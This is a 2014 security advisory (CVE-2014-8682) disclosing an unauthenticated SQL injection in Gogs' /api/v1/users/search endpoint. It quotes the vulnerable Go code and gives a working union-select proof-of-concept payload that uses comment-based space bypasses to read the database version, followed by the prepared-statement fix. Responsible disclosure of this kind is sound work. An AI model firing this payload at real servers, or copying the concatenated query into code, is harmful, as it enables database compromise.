Unauthenticated SQL Injection in Gogs user search
=================================================
Researcher: Timo Schmid <tschmid@ernw.de>


Description
===========
Gogs(Go Git Service) is a painless self-hosted Git Service written in Go. (taken
 from [1])

It is very similiar to the github hosting plattform. Multiple users can create
multiple repositories and share code with others with the git version control
system. Repositories can be marked as public or private to prevent access from
 unauthorized users.

Gogs provides an api view to give javascript code the possibility to search for
existing users in the system. This view is accessible at
/api/v1/users/search?q=<search query>.

The q Parameter of this view is vulnerable to SQL injection.


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Critical


CVSS Base Score
===============
8.3 (AV:N / AC:M / Au:N / C:C / I:P / A:P)


CVE-ID
======
CVE-2014-8682


Impact
======
The vulnerability results at least in a complete compromise of the database.
Depending on the particular database configuration a compromise of the system
is also possible.


Status
======
Fixed by Vendor


Vulnerable Code Section
=======================
models/user.go:
[...]
// SearchUserByName returns given number of users whose name contains keyword.
func SearchUserByName(opt SearchOption) (us []*User, err error) {
    opt.Keyword = FilterSQLInject(opt.Keyword)
    if len(opt.Keyword) == 0 {
        return us, nil
    }
    opt.Keyword = strings.ToLower(opt.Keyword)

    us = make([]*User, 0, opt.Limit)
    err = x.Limit(opt.Limit).Where("type=0").And("lower_name like '%" +
opt.Keyword + "%'").Find(&us)
    return us, err
}
[...]

The vulnerability exists because of a string concatination in the SQL query with
user supplied data. Because of the SQL filter at the method entry, attackers
can't use spaces (0x20) and since v0.5.6.1025-g83283b commas are also filtered.


Proof of Concept
================
Request:
http://www.example.com/api/v1/users/search?q='/**/and/**/false)/**/union/**/
select/**/null,null,@@version,null,null,null,null,null,null,null,null,null,null,
null,null,null,null,null,null,null,null,null,null,null,null,null,null/**/from
/**/mysql.db/**/where/**/('%25'%3D'

Response:
{"data":[{"username":"5.5.40-0ubuntu0.14.04.1","avatar":
"//1.gravatar.com/avatar/"}],"ok":true}


Solution
========
This vulnerability could easily be fixed by using prepared statements:

err = x.Limit(opt.Limit).Where("type=0").And("lower_name like ?", "%" +
opt.Keyword + "%").Find(&us)

Update to version 0.5.6.1105.


Affected Versions
=================
>= v0.3.1-9-g49dc57e
<= v0.5.6.1104-g0c5ba45


Timeline
========
2014-09-25: Developer informed
2014-10-16: Contact of developer regarding fix
2014-10-25: Working together with developer on fix
2014-11-03: Contacted developer
2014-11-04: Fixed in master branch
2014-11-14: CVE-ID assigned


Credits
=======
Pascal Turbing <pturbing@ernw.de>
Jiahua (Joe) Chen <u@gogs.io>


References
==========
[1] https://github.com/gogits/gogs
[2] http://gogs.io/
[3] http://www.insinuator.net/2012/05/sql-injection-testing-for-business-purposes-part-1/
[4] http://www.insinuator.net/2012/05/sql-injection-testing-for-business-purposes-part-2/
[5] http://www.insinuator.net/2012/06/sql-injection-testing-for-business-purposes-part-3/
[6] https://www.ernw.de/download/BC-1403.txt


Advisory-ID
===========
BC-1403


Disclaimer
==========
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